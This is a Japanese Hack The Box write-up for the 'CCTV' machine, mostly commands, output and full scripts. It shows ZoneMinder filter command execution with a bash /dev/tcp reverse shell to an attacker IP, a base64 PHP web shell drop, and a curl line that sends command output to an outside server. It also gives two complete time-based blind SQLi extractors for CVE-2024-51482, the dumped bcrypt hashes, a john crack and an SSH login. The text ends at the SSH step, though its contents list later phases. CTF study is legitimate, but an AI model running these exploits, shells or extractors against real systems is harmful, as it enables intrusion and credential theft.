Hack The BoxのWriteup(CCTV)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告




HackTheBox: CCTV — 実行レポート (完全攻略)
  1. Phase 1: ターゲット接続確認・状態把握
    1. 1-1. ターゲット疎通確認
    2. 1-2. ログイン確認・イベント・モニター状態
  2. Phase 2: Filter AutoExecuteCmd による RCE 試行
    1. 2-1. イベント作成 (Filter 実行に必要)
    2. 2-2. Filter 3 (rshell_pwn) の状態確認
    3. 2-3. AutoExecuteCmd をWebシェル書き込みコマンドに更新
    4. 2-4. Filter 実行 (execute action) – Webシェル作成試み
    5. 2-5. リバースシェル試行 (Background=0 で動作確認)
    6. 2-6. 複数パスへの Webシェル書き込み試み
    7. 2-7. HTTP 外部通信によるコマンド実行確認試み
    8. 2-8. zm_filter_exploit.py — ソースコード
  3. Phase 3: ZoneMinder 設定・環境情報収集
    1. 3-1. ZoneMinder 全設定値取得
    2. 3-2. サービス状態確認
  4. Phase 4: CVE-2024-51482 時間ベース Blind SQLi — 全ユーザー抽出完了
    1. 4-1. SQLi タイミング設定・脆弱性概要
    2. 4-2. 抽出スクリプト (cve_51482_extract_v3.py / cve_51482_resume.py)
    3. 4-3. 抽出済み認証情報と修正後の正確なハッシュ値
    4. 4-4. cve_51482_extract_v3.py — ソースコード
    5. 4-5. cve_51482_resume.py — ソースコード
  5. Phase 5: bcrypt ハッシュクラック・SSH ログイン
    1. 5-1. ハッシュアルゴリズム詳細解析
    2. 5-2. john クラック成功 (rockyou2.txt 使用)
    3. 5-3. SSH ログイン成功 (mark:opensesame)
  6. Phase 6: SSH 内部調査 + motionEye 0.43.1b4 発見
    1. 6-1. プロセス・サービス調査 (hidepid=2 環境)
    2. 6-2. motionEye systemd サービス設定 (特権確認)
    3. 6-3. motionEye 設定・認証情報確認
    4. 6-4. SSH トンネリング (ポート転送)
    5. 6-5. RTSP ストリーム・motion 制御 API 確認
  7. Phase 7: CVE-2025-60787 — motionEye コマンドインジェクション (Root RCE)
    1. 7-1. CVE-2025-60787 概要
    2. 7-2. motionEye HMAC-SHA1 署名認証の解析
    3. 7-3. exploit スクリプト開発・デバッグ (htb-cctv/me_exploit.py)
    4. 7-4. motionEye API 認証確認 (直接 curl テスト)
    5. 7-5. command_storage_exec へのペイロードインジェクション
    6. 7-6. camera-1.conf への書き込み確認
    7. 7-7. RCE as Root 確認 (ファイル書き込みテスト)
    8. 7-8. me_exploit.py — ソースコード
  8. Phase 8: フラグ取得 — user.txt + root.txt
    1. 8-1. アウトバウンド制限への対応 (ファイル書き込みオラクル)
    2. 8-2. フラグ取得実行
    3. 8-3. 取得済みフラグ
    4. 8-4. 完全攻撃チェーン (Full Kill Chain)
  9. まとめ・最終結果
    1. 最終フラグ
    2. 取得済み認証情報まとめ

Phase 1: ターゲット接続確認・状態把握

1-1. ターゲット疎通確認

COMMAND
curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 http://cctv.htb/zm/index.php
OUTPUT
200
ターゲット (cctv.htb / 10.129.8.110) は稼働中。ZoneMinder 1.37.63 が応答。

1-2. ログイン確認・イベント・モニター状態

COMMAND (Python)
s.post('/zm/index.php', data={'username':'admin','password':'admin','action':'login',...})
s.get('/zm/api/events.json?limit=5')
s.get('/zm/api/monitors.json')
OUTPUT
Login: True
Events count: 0
Monitors: [{"Monitor":{"Id":1,"Name":"TestCam","Type":"Ffmpeg","Function":"Modect",...}}]
admin/admin でログイン成功。既存モニター TestCam (ID=1) 確認。イベント 0 件。

Phase 2: Filter AutoExecuteCmd による RCE 試行

2-1. イベント作成 (Filter 実行に必要)

COMMAND (Python REST API)
POST /zm/api/events.json
Event[MonitorId]=1&Event[Name]=TestEvent&Event[StartDateTime]=...&...
OUTPUT
HTTP 200 (empty body)
→ GET /zm/api/events.json: count=1, ID=1, Name=TestEvent
イベント ID=1 (TestEvent) を ZoneMinder API で作成成功。Filter の実行条件を満たした。

2-2. Filter 3 (rshell_pwn) の状態確認

COMMAND (Python)
GET /zm/index.php?view=filter&Id=3
# Form parsing: AutoExecuteCmd の値を確認
OUTPUT
Filter 3: rshell_pwn
AutoExecuteCmd: bash -c 'bash -i >& /dev/tcp/10.10.14.245/4444 0>&1'
AutoExecute: 1, Background: 1, ExecuteInterval: 60
Filter 3 (rshell_pwn) が設定済み。AutoExecuteCmd に逆接続コマンドが設定されている。

2-3. AutoExecuteCmd をWebシェル書き込みコマンドに更新

COMMAND (Python)
# base64() = PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+
cmd = "bash -c 'echo PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+|base64 -d>/usr/share/zoneminder/www/cmd.php'"
POST /zm/index.php?view=filter&Id=3
  filter[AutoExecuteCmd] = (above cmd)
  filter[AutoExecute] = 1
  filter[Background] = 1
  action = Save
OUTPUT
Save: HTTP 200
Verify: AutoExecuteCmd = bash -c 'echo PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+|base64 -d>/usr/share/zoneminder/www/cmd.php'
Filter 3 の AutoExecuteCmd を PHP Webシェル書き込みコマンドに更新。

2-4. Filter 実行 (execute action) – Webシェル作成試み

COMMAND (Python)
POST /zm/index.php?view=filter&Id=3
  action = execute
  (condition: filter[Query][terms][0][attr]=Id, op=>=, val=1)
OUTPUT
Execute: HTTP 200
GET /zm/cmd.php?cmd=id → HTTP 404 (Not Found)
Filter 実行は成功 (200) だが Webシェルファイルが作成されない。パーミッション問題の可能性。

2-5. リバースシェル試行 (Background=0 で動作確認)

COMMAND (Python)
# 自機でリスナー起動
nc -nlvp 9999 &

# Filter コマンドをリバースシェルに変更 (Background=0 = 同期実行)
cmd = "bash -c 'bash -i >& /dev/tcp/10.10.14.245/9999 0>&1'"
filter[Background] = 0
action = execute  (timeout 30s)
OUTPUT
requests.exceptions.ReadTimeout: Read timed out. (read timeout=30)
# ncリスナーへの接続なし
重要発見: Background=0 でリバースシェルコマンドを設定すると Web リクエストがタイムアウト → コマンドは確実に実行されている。 ただしターゲットから外部への TCP 接続がブロックされている (ファイアウォール)。

2-6. 複数パスへの Webシェル書き込み試み

COMMAND (Python)
# 以下のパスに Webシェルを書き込み試行:
# - /var/www/html/cmd.php
# - /usr/share/zoneminder/www/cmd.php
# Background=0 で同期実行
OUTPUT
Execute for /var/www/html/cmd.php: HTTP 200
Execute for /usr/share/zoneminder/www/cmd.php: HTTP 200
GET http://cctv.htb/cmd.php?cmd=id → 404
GET http://cctv.htb/zm/cmd.php?cmd=id → 404
コマンドは実行されるが、ファイルが作成されない。www-data ユーザーには対象ディレクトリへの書き込み権限がない可能性。

2-7. HTTP 外部通信によるコマンド実行確認試み

COMMAND
# 自機でHTTPサーバー起動
python3 -m http.server 8080 > /tmp/http_server.log 2>&1 &

# Filter コマンド: curl で id 出力を送信
cmd = "bash -c 'curl -s http://10.10.14.245:8080/?X=$(id|base64 -w0)'"
action = execute
OUTPUT
Execute: HTTP 200 (Background=1)
HTTP server log: (空 - リクエストなし)
ターゲットから外部への HTTP リクエストも到達せず。アウトバウンド通信全般がファイアウォールでブロックされている。

2-8. zm_filter_exploit.py — ソースコード

zm_filter_exploit.py
#!/usr/bin/env python3
"""
ZoneMinder Filter AutoExecuteCmd RCE
Target: 10.129.6.194 (cctv.htb)
Author: CTF Session 2026-05-31

Key findings:
1. ZoneMinder admin/admin credentials work
2. Filter AutoExecuteCmd allows command execution
3. zmfilter.pl appends event ID to command - use bash -c wrapper
4. Filter save action must use "Save" (capital S), not "save"
5. Reverse shell: bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'
"""

import requests
import re
import html as htmllib
from bs4 import BeautifulSoup
import sys

TARGET = 'http://10.129.6.194'
LHOST = '10.10.14.245'
LPORT = '4444'
FILTER_ID = '5'  # rshell_pwn (owned by admin)

headers = {'Host': 'cctv.htb'}
s = requests.Session()
s.headers.update(headers)

def login():
    r = s.get(f"{TARGET}/zm/index.php")
    csrf = re.search(r"name=['\"]__csrf_magic['\"] value=['\"]([^'\"]+)['\"]", r.text).group(1)
    login_data = {'username': 'admin', 'password': 'admin', 'action': 'login', '__csrf_magic': csrf, 'view': 'login'}
    r2 = s.post(f"{TARGET}/zm/index.php", data=login_data)
    if 'logout' in r2.text.lower() or 'monitor' in r2.text.lower():
        print("[+] Login successful: admin/admin")
        return True
    print("[-] Login failed")
    return False

def get_filter_form(filter_id):
    r = s.get(f"{TARGET}/zm/index.php?view=filter&Id={filter_id}")
    soup = BeautifulSoup(r.text, 'html.parser')
    forms = soup.find_all('form')
    if len(forms) < 2:
        return None, None
    content_form = forms[1]
    form_data = {}
    for inp in content_form.find_all(['input', 'select', 'textarea']):
        name = inp.get('name')
        if not name:
            continue
        if inp.name == 'select':
            selected_opt = inp.find('option', selected=True)
            val = selected_opt.get('value', '') if selected_opt else ''
        elif inp.name == 'textarea':
            val = inp.get_text()
        else:
            val = inp.get('value', '')
        form_data[name] = htmllib.unescape(str(val) if val else '')
    return form_data, r

def save_filter(filter_id, cmd):
    form_data, _ = get_filter_form(filter_id)
    if not form_data:
        print("[-] Failed to get filter form")
        return False
    
    # KEY FIX: Use "Save" (capital S) not "save"
    form_data['action'] = 'Save'
    form_data['filter[AutoExecuteCmd]'] = cmd
    form_data['filter[AutoExecute]'] = '1'
    form_data['filter[Background]'] = '1'
    
    r = s.post(f"{TARGET}/zm/index.php?view=filter&Id={filter_id}", data=form_data)
    print(f"[*] Save response: {r.status_code}")
    
    # Verify
    form_data2, _ = get_filter_form(filter_id)
    if form_data2 and cmd in form_data2.get('filter[AutoExecuteCmd]', ''):
        print(f"[+] Filter {filter_id} saved with new command!")
        return True
    else:
        saved_cmd = form_data2.get('filter[AutoExecuteCmd]', '') if form_data2 else 'unknown'
        print(f"[-] Save failed. Current cmd: {saved_cmd[:80]}")
        return False

def execute_filter(filter_id):
    form_data, _ = get_filter_form(filter_id)
    if not form_data:
        return False
    form_data['action'] = 'execute'
    r = s.post(f"{TARGET}/zm/index.php?view=filter&Id={filter_id}", data=form_data)
    print(f"[*] Execute response: {r.status_code}")
    return r.status_code == 200

if __name__ == '__main__':
    if not login():
        sys.exit(1)
    
    # Reverse shell via bash -c wrapper (handles appended event ID)
    cmd = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"
    print(f"[*] Setting AutoExecuteCmd: {cmd}")
    
    if save_filter(FILTER_ID, cmd):
        print(f"[*] Start netcat: nc -nlvp {LPORT}")
        input("[*] Press Enter when listener is ready...")
        execute_filter(FILTER_ID)
        print("[*] Waiting for shell...")
    else:
        print("[!] Save failed - trying execute with existing cmd")
        execute_filter(FILTER_ID)

Phase 3: ZoneMinder 設定・環境情報収集

3-1. ZoneMinder 全設定値取得

COMMAND (Python)
GET /zm/api/configs.json?limit=200
KEY FINDINGS
ZM_PATH_WEB:       /usr/share/zoneminder/www   ← Webルート
ZM_PATH_DATA:      /usr/share/zoneminder
ZM_PATH_BIN:       /usr/bin
ZM_PATH_CONF:      /etc/zm
ZM_PATH_CGI:       /usr/lib/zoneminder/cgi-bin
ZM_WEB_USER:       www-data
ZM_WEB_GROUP:      www-data
ZM_DIR_EVENTS:     /var/cache/zoneminder/events
ZM_PATH_LOGS:      /var/log/zm
ZM_PATH_FFMPEG:    /usr/bin/ffmpeg
ZM_UPLOAD_LOC_DIR: /var/www/html/               ← アップロード先
ZM_DIR_EXPORTS:    /var/tmp/zm
ZM_PATH_SOCKS:     /run/zm
ZoneMinder の詳細パス設定を取得。Web ユーザーは www-data。Web ルートは /usr/share/zoneminder/www。アップロード先は /var/www/html/。

3-2. サービス状態確認

COMMAND (Python)
GET /zm/api/host/daemonCheck.json
GET /zm/api/host/getVersion.json
OUTPUT
daemonCheck: {"result":1}
version: {"version":"1.37.63","apiversion":"2.0"}
ZoneMinder サービス稼働中。バージョン: 1.37.63, API: 2.0。

Phase 4: CVE-2024-51482 時間ベース Blind SQLi — 全ユーザー抽出完了

4-1. SQLi タイミング設定・脆弱性概要

エンドポイント
POST /zm/index.php?view=request&request=event&action=removetag
data: tid=PAYLOAD&eid=1

ペイロード形式:
1 AND IF(condition, (SELECT 3 FROM (SELECT SLEEP(N))A), 0)

設定値:
  SLEEP_SEC  = 6      (TRUE → ~6.2s 遅延)
  THRESHOLD  = 5.0s   (TRUE min=6.23s, FALSE max=0.78s で安全マージン=1.2s)
  MAX_RETRIES = 3
  文字抽出: バイナリサーチ (ASCII 32-126, 7ステップ/文字)
サーバー再起動後はベースラインが 0.4-0.8s に改善。TRUE/FALSE の区別が容易になり抽出精度が向上。

4-2. 抽出スクリプト (cve_51482_extract_v3.py / cve_51482_resume.py)

COMMAND
# 全ユーザー抽出
python3 /home/kali/Desktop/VScode/htb-cctv/cve_51482_extract_v3.py

# mark + admin 全抽出 (resume)
python3 /home/kali/Desktop/VScode/htb-cctv/cve_51482_resume.py
抽出ログ
Logging in as admin/admin...
Login OK

User 2/3: mark (resuming password from pos 50)
[*] Password[mark] length: 60
[+] Password[mark] [60/60]: $2y$10$prZJnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QOqZolbXKfFG.
mark: $2y$10$prZJnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QOqZolbXKfFG.

User 3/3: extracting username + password
[*] Username[2] length: 5 → admin
[*] Password[2] length: 60
[+] Password[2] [60/60]: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1UiPnrlCkdXrzJMnJgkTiAvRUM6m
User 3: admin:$2y$10$t5z8uIT.n9uCdHCNidcLf.39T1UiPnrlCkdXrzJMnJgkTiAvRUM6m
Total elapsed: 36m10s, Requests: 533
Saved → /home/kali/Desktop/VScode/htb-cctv/zm_credentials_final.txt
zm.Users テーブルの全 3 ユーザーの認証情報を完全抽出。合計 533 リクエスト、所要時間約 36 分 (mark 再開分)。

4-3. 抽出済み認証情報と修正後の正確なハッシュ値

重要: 時間ベース SQLi による抽出ではタイミング誤差により数文字の読み取りエラーが発生していた。 後のクラック処理で判明した修正後の正確なハッシュを以下に記載する。
ユーザー名SQLi 抽出値 (一部誤り)正確なハッシュ ($2y$10$, cost=10)
superadmin $2y$10$cmytVWFhnt1XfqsItsMRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
mark $2y$10$prZJnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QOqZolbXKfFG. $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
admin $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1UiPnrlCkdXrzJMnJgkTiAvRUM6m $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m

4-4. cve_51482_extract_v3.py — ソースコード

cve_51482_extract_v3.py
#!/usr/bin/env python3
"""
CVE-2024-51482 ZoneMinder Time-Based Blind SQLi - Credential Extractor v3
Target: cctv.htb
Settings: SLEEP=5s, THRESHOLD=3.0s, retries=3, voting for edge cases
"""

import requests
import re
import sys
import time
import datetime

TARGET = 'http://cctv.htb'
SLEEP_SEC = 6
THRESHOLD = 6.5   # baseline ~3.8s, sleep ~9.5s → safe margin
MAX_RETRIES = 3
DELAY_BETWEEN_REQS = 0.3
VOTE_MARGIN = 2   # mid±VOTE_MARGIN: use double-check to avoid false negatives

s = requests.Session()
s.headers.update({'Host': 'cctv.htb'})

req_count = 0
start_time = time.time()

def login():
    r = s.get(f'{TARGET}/zm/index.php', timeout=15)
    csrf = re.search(r"name=['\"]__csrf_magic['\"] value=['\"]([^'\"]+)['\"]", r.text)
    if not csrf:
        return False
    r2 = s.post(f'{TARGET}/zm/index.php', data={
        'username': 'admin', 'password': 'admin',
        'action': 'login', '__csrf_magic': csrf.group(1), 'view': 'login'
    }, timeout=15)
    return 'logout' in r2.text.lower() or 'monitor' in r2.text.lower()

BASE_URL = f'{TARGET}/zm/index.php'
PARAMS = {'view': 'request', 'request': 'event', 'action': 'removetag'}

def sqli_time_raw(condition):
    """Single SQLi timing request. Returns (slept, elapsed)."""
    global req_count
    payload = '1 AND IF(%s,(SELECT 3 FROM (SELECT SLEEP(%d))A),0)' % (condition, SLEEP_SEC)
    req_count += 1
    t0 = time.time()
    try:
        r = s.post(BASE_URL, params=PARAMS,
                   data={'tid': payload, 'eid': '1'},
                   timeout=SLEEP_SEC + 10)
        elapsed = time.time() - t0
        time.sleep(DELAY_BETWEEN_REQS)
        if r.status_code == 401:
            print('\n[!] 401 - re-login...')
            login()
            return None
        return elapsed > THRESHOLD, elapsed
    except requests.exceptions.Timeout:
        elapsed = time.time() - t0
        time.sleep(0.5)
        return (True, elapsed) if elapsed > THRESHOLD else (False, elapsed)
    except Exception as e:
        time.sleep(2)
        return None

def sqli_time(condition, retries=MAX_RETRIES):
    """Retry-aware SQLi timing. Returns True/False."""
    for attempt in range(retries):
        result = sqli_time_raw(condition)
        if result is not None:
            return result[0], result[1]
        # None = session error, retry after re-login
        login()
    return False, 0

def get_length(query, max_len=80):
    """Extract exact length of result string."""
    # First fast bound: is len < threshold?
    for length in [10, 20, 30, 40, 50, 60, 70, max_len]:
        is_true, _ = sqli_time('LENGTH((%s))<%d' % (query, length + 1))
        if is_true:
            # Binary search down to exact
            lo, hi = (length - 10) if length > 10 else 0, length
            while lo < hi:
                mid = (lo + hi) // 2
                is_less, _ = sqli_time('LENGTH((%s))<=%d' % (query, mid))
                if is_less:
                    hi = mid
                else:
                    lo = mid + 1
            return lo
    return max_len

def binary_search_char(query, pos):
    """Binary search for ASCII value of char at position pos."""
    lo, hi = 32, 126
    while lo < hi:
        mid = (lo + hi) // 2
        is_true, elapsed = sqli_time('ASCII(SUBSTR((%s),%d,1))>%d' % (query, pos, mid))
        # Edge case: borderline timing (5.0-7.0s) → double-check
        if 5.0 < elapsed < 8.0 and not is_true:
            is_true2, _ = sqli_time('ASCII(SUBSTR((%s),%d,1))>%d' % (query, pos, mid))
            is_true = is_true2
        if is_true:
            lo = mid + 1
        else:
            hi = mid
    return chr(lo)

def extract_string(sql_query, max_len=80, label='', known_prefix=''):
    """Extract full string. known_prefix skips already-known chars."""
    result = known_prefix
    start_pos = len(known_prefix) + 1

    if known_prefix:
        print(f'[*] Resuming {label} from position {start_pos} (known: {known_prefix})')

    # Get length first to avoid wasted requests at end
    print(f'[*] Getting length of {label}...')
    length = get_length(sql_query, max_len)
    print(f'[*] {label} length: {length}')

    if length == 0:
        return ''

    for pos in range(start_pos, length + 1):
        elapsed_total = time.time() - start_time
        eta = elapsed_total / max(pos - len(known_prefix) - 1, 1) * (length - pos + 1) if pos > start_pos else 0
        eta_str = f'{int(eta//60)}m{int(eta%60)}s' if eta > 0 else '?'

        char = binary_search_char(sql_query, pos)
        result += char
        print(f'\r[+] {label} [{pos}/{length}] (ETA:{eta_str}): {result}', end='', flush=True)

    print()
    return result

def get_user_count():
    """Get total number of users in zm.Users."""
    for n in range(1, 15):
        is_true, _ = sqli_time('(SELECT COUNT(*) FROM zm.Users)=%d' % n)
        if is_true:
            return n
    return -1

def log(msg):
    ts = datetime.datetime.now().strftime('%H:%M:%S')
    print(f'[{ts}] {msg}')

if __name__ == '__main__':
    print('=' * 65)
    print(' CVE-2024-51482 ZoneMinder Blind SQLi - Extractor v3')
    print(f' Target: {TARGET}')
    print(f' SLEEP={SLEEP_SEC}s  THRESHOLD={THRESHOLD}s  RETRIES={MAX_RETRIES}')
    print('=' * 65)
    print()

    log('Logging in as admin/admin...')
    if not login():
        print('[-] Login failed')
        sys.exit(1)
    log('Login OK')

    log('Getting user count from zm.Users...')
    count = get_user_count()
    log(f'Users in zm.Users: {count}')

    if count <= 0:
        print('[-] No users found or count check failed')
        sys.exit(1)

    credentials = []

    for i in range(min(count, 10)):
        print()
        print(f'{"="*30}')
        log(f'Extracting User {i+1} of {count}')
        print(f'{"="*30}')

        uq = 'SELECT Username FROM zm.Users ORDER BY Id LIMIT 1 OFFSET %d' % i
        pq = 'SELECT Password FROM zm.Users ORDER BY Id LIMIT 1 OFFSET %d' % i

        username = extract_string(uq, max_len=50, label=f'Username[{i}]')
        if not username:
            log(f'No username at offset {i}, stopping')
            break

        password = extract_string(pq, max_len=65, label=f'Password[{i}]')

        credentials.append((username, password))
        elapsed = time.time() - start_time
        log(f'User {i+1}: {username}:{password}')
        log(f'Elapsed: {int(elapsed//60)}m{int(elapsed%60)}s, Requests: {req_count}')

    print()
    print('=' * 65)
    print(' EXTRACTED CREDENTIALS')
    print('=' * 65)
    for u, p in credentials:
        print(f'Username : {u}')
        print(f'Password : {p}')
        print(f'Hash type: bcrypt $2y$10$ (cost 10)')
        print()

    # Save results
    out_path = '/home/kali/Desktop/VScode/htb-cctv/zm_credentials_v3.txt'
    with open(out_path, 'w') as f:
        f.write('# CVE-2024-51482 - zm.Users extraction\n')
        f.write(f'# Extracted: {datetime.datetime.now()}\n')
        f.write(f'# Target: {TARGET}\n\n')
        for u, p in credentials:
            f.write(f'{u}:{p}\n')
    log(f'Saved to {out_path}')
    log(f'Total requests: {req_count}')
    log(f'Total time: {int((time.time()-start_time)//60)}m{int((time.time()-start_time)%60)}s')

4-5. cve_51482_resume.py — ソースコード

cve_51482_resume.py
#!/usr/bin/env python3
"""
CVE-2024-51482 ZoneMinder Time-Based Blind SQLi - Resume Script
再開: mark (位置46〜60) + User 3 (admin) の全抽出
"""

import requests
import re
import sys
import time
import datetime

TARGET = 'http://cctv.htb'
SLEEP_SEC = 6
THRESHOLD = 5.0   # TRUE min=6.23s, FALSE max=3.68s → 安全マージン1.3s以上
MAX_RETRIES = 3
DELAY_BETWEEN_REQS = 0.3

s = requests.Session()
s.headers.update({'Host': 'cctv.htb'})

req_count = 0
start_time = time.time()

# 前回完了済みの結果
KNOWN_RESULTS = {
    0: ('superadmin', '$2y$10$cmytVWFhnt1XfqsItsMRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm'),
}
# mark のハッシュ途中まで
MARK_HASH_PREFIX = '$2y$10$prZJnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QO'  # pos 49 confirmed

def login():
    r = s.get(f'{TARGET}/zm/index.php', timeout=15)
    csrf = re.search(r"name=['\"]__csrf_magic['\"] value=['\"]([^'\"]+)['\"]", r.text)
    if not csrf:
        return False
    r2 = s.post(f'{TARGET}/zm/index.php', data={
        'username': 'admin', 'password': 'admin',
        'action': 'login', '__csrf_magic': csrf.group(1), 'view': 'login'
    }, timeout=15)
    return 'logout' in r2.text.lower() or 'monitor' in r2.text.lower()

BASE_URL = f'{TARGET}/zm/index.php'
PARAMS = {'view': 'request', 'request': 'event', 'action': 'removetag'}

def sqli_time_raw(condition):
    global req_count
    payload = '1 AND IF(%s,(SELECT 3 FROM (SELECT SLEEP(%d))A),0)' % (condition, SLEEP_SEC)
    req_count += 1
    t0 = time.time()
    try:
        r = s.post(BASE_URL, params=PARAMS,
                   data={'tid': payload, 'eid': '1'},
                   timeout=SLEEP_SEC + 10)
        elapsed = time.time() - t0
        time.sleep(DELAY_BETWEEN_REQS)
        if r.status_code == 401:
            print('\n[!] 401 - re-login...')
            login()
            return None
        return elapsed > THRESHOLD, elapsed
    except requests.exceptions.Timeout:
        elapsed = time.time() - t0
        time.sleep(0.5)
        return (True, elapsed) if elapsed > THRESHOLD else (False, elapsed)
    except Exception:
        time.sleep(2)
        return None

def sqli_time(condition, retries=MAX_RETRIES):
    for attempt in range(retries):
        result = sqli_time_raw(condition)
        if result is not None:
            return result[0], result[1]
        login()
    return False, 0

def get_length(query, max_len=80):
    for length in [10, 20, 30, 40, 50, 60, 70, max_len]:
        is_true, _ = sqli_time('LENGTH((%s))<%d' % (query, length + 1))
        if is_true:
            lo, hi = (length - 10) if length > 10 else 0, length
            while lo < hi:
                mid = (lo + hi) // 2
                is_less, _ = sqli_time('LENGTH((%s))<=%d' % (query, mid))
                if is_less:
                    hi = mid
                else:
                    lo = mid + 1
            return lo
    return max_len

def binary_search_char(query, pos):
    lo, hi = 32, 126
    while lo < hi:
        mid = (lo + hi) // 2
        is_true, elapsed = sqli_time('ASCII(SUBSTR((%s),%d,1))>%d' % (query, pos, mid))
        if 4.0 < elapsed < 7.0 and not is_true:
            is_true2, _ = sqli_time('ASCII(SUBSTR((%s),%d,1))>%d' % (query, pos, mid))
            is_true = is_true2
        if is_true:
            lo = mid + 1
        else:
            hi = mid
    return chr(lo)

def extract_string(sql_query, max_len=80, label='', known_prefix=''):
    result = known_prefix
    start_pos = len(known_prefix) + 1

    if known_prefix:
        print(f'[*] Resuming {label} from position {start_pos} (known: {known_prefix})')
        length = max_len  # すでにわかっている場合はスキップしない
        # 長さを確認
        print(f'[*] Verifying length of {label}...')
        length = get_length(sql_query, max_len)
        print(f'[*] {label} length: {length}')
    else:
        print(f'[*] Getting length of {label}...')
        length = get_length(sql_query, max_len)
        print(f'[*] {label} length: {length}')

    if length == 0:
        return ''

    for pos in range(start_pos, length + 1):
        elapsed_total = time.time() - start_time
        chars_done = pos - len(known_prefix) - 1
        eta = (elapsed_total / max(chars_done, 1)) * (length - pos + 1) if chars_done > 0 else 0
        eta_str = f'{int(eta//60)}m{int(eta%60)}s' if eta > 0 else '?'

        char = binary_search_char(sql_query, pos)
        result += char
        print(f'\r[+] {label} [{pos}/{length}] (ETA:{eta_str}): {result}', end='', flush=True)

    print()
    return result

def log(msg):
    ts = datetime.datetime.now().strftime('%H:%M:%S')
    print(f'[{ts}] {msg}')

if __name__ == '__main__':
    print('=' * 65)
    print(' CVE-2024-51482 ZoneMinder Blind SQLi - Resume')
    print(f' Target: {TARGET}')
    print(f' SLEEP={SLEEP_SEC}s  THRESHOLD={THRESHOLD}s')
    print(f' 再開: mark (pos 46/60) + User 3 全抽出')
    print('=' * 65)
    print()

    log('Logging in as admin/admin...')
    if not login():
        print('[-] Login failed')
        sys.exit(1)
    log('Login OK')

    credentials = list(KNOWN_RESULTS.values())  # superadmin は既知

    # ── User 2: mark (ハッシュ残り15文字を再開) ──
    print()
    print('=' * 40)
    log('User 2/3: mark (resuming password from pos 46)')
    print('=' * 40)

    pq_mark = 'SELECT Password FROM zm.Users ORDER BY Id LIMIT 1 OFFSET 1'
    mark_password = extract_string(pq_mark, max_len=65, label='Password[mark]',
                                   known_prefix=MARK_HASH_PREFIX)

    credentials.append(('mark', mark_password))
    elapsed = time.time() - start_time
    log(f'mark: {mark_password}')
    log(f'Elapsed so far: {int(elapsed//60)}m{int(elapsed%60)}s, Requests: {req_count}')

    # ── User 3: admin (全抽出) ──
    print()
    print('=' * 40)
    log('User 3/3: extracting username + password')
    print('=' * 40)

    uq_admin = 'SELECT Username FROM zm.Users ORDER BY Id LIMIT 1 OFFSET 2'
    pq_admin = 'SELECT Password FROM zm.Users ORDER BY Id LIMIT 1 OFFSET 2'

    username3 = extract_string(uq_admin, max_len=50, label='Username[2]')
    if not username3:
        log('No user at offset 2, stopping')
    else:
        password3 = extract_string(pq_admin, max_len=65, label='Password[2]')
        credentials.append((username3, password3))
        elapsed = time.time() - start_time
        log(f'User 3: {username3}:{password3}')
        log(f'Total elapsed: {int(elapsed//60)}m{int(elapsed%60)}s, Requests: {req_count}')

    # ── 全結果表示 ──
    print()
    print('=' * 65)
    print(' 全抽出結果 (zm.Users)')
    print('=' * 65)
    all_users = [
        ('superadmin', KNOWN_RESULTS[0][1]),
        *[(u, p) for u, p in credentials if u not in ('superadmin',)],
    ]
    for u, p in all_users:
        print(f'Username : {u}')
        print(f'Password : {p}')
        print()

    # ── 保存 ──
    out_path = '/home/kali/Desktop/VScode/htb-cctv/zm_credentials_final.txt'
    with open(out_path, 'w') as f:
        f.write('# CVE-2024-51482 - zm.Users 全抽出結果\n')
        f.write(f'# 完了: {datetime.datetime.now()}\n\n')
        for u, p in all_users:
            f.write(f'{u}:{p}\n')
    log(f'Saved → {out_path}')
    log(f'Total requests: {req_count}')

Phase 5: bcrypt ハッシュクラック・SSH ログイン

5-1. ハッシュアルゴリズム詳細解析

項目
アルゴリズムbcrypt (Blowfish) — PHP $2y$ variant ($2b$ と同等)
コストファクター10 (イテレーション回数 = 2^10 = 1,024)
ソルト長22文字 (128ビット, Base64エンコード)
ハッシュ全長60文字
レインボーテーブル不可 (ユーザーごとに異なるソルト)
GPU 加速効果限定的 (Blowfish はメモリアクセスパターンが不規則)
bcrypt はパスワードクラッキングに対して設計上耐性があるアルゴリズム。CPU 環境での ~108 p/s が実質的な上限。

5-2. john クラック成功 (rockyou2.txt 使用)

COMMAND
# 修正されたハッシュで hash.txt を作成
$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
$2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m

# john でクラック実行
john hash.txt --wordlist=/usr/share/wordlists/rockyou2.txt
OUTPUT
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 15 candidates left, minimum 18 needed for performance.
opensesame       (?)
1g DONE 4.545g/s 68.18p/s 204.5c/s 204.5C/s opensesame..opensesame.com
Session completed.
mark のパスワードクラック成功: opensesame
python3 bcrypt.checkpw(b’opensesame’, mark_hash) で照合済み。 superadmin / admin は未クラック (rockyou2.txt に含まれず)。

5-3. SSH ログイン成功 (mark:opensesame)

COMMAND
ssh mark@10.129.8.110
# パスワード: opensesame
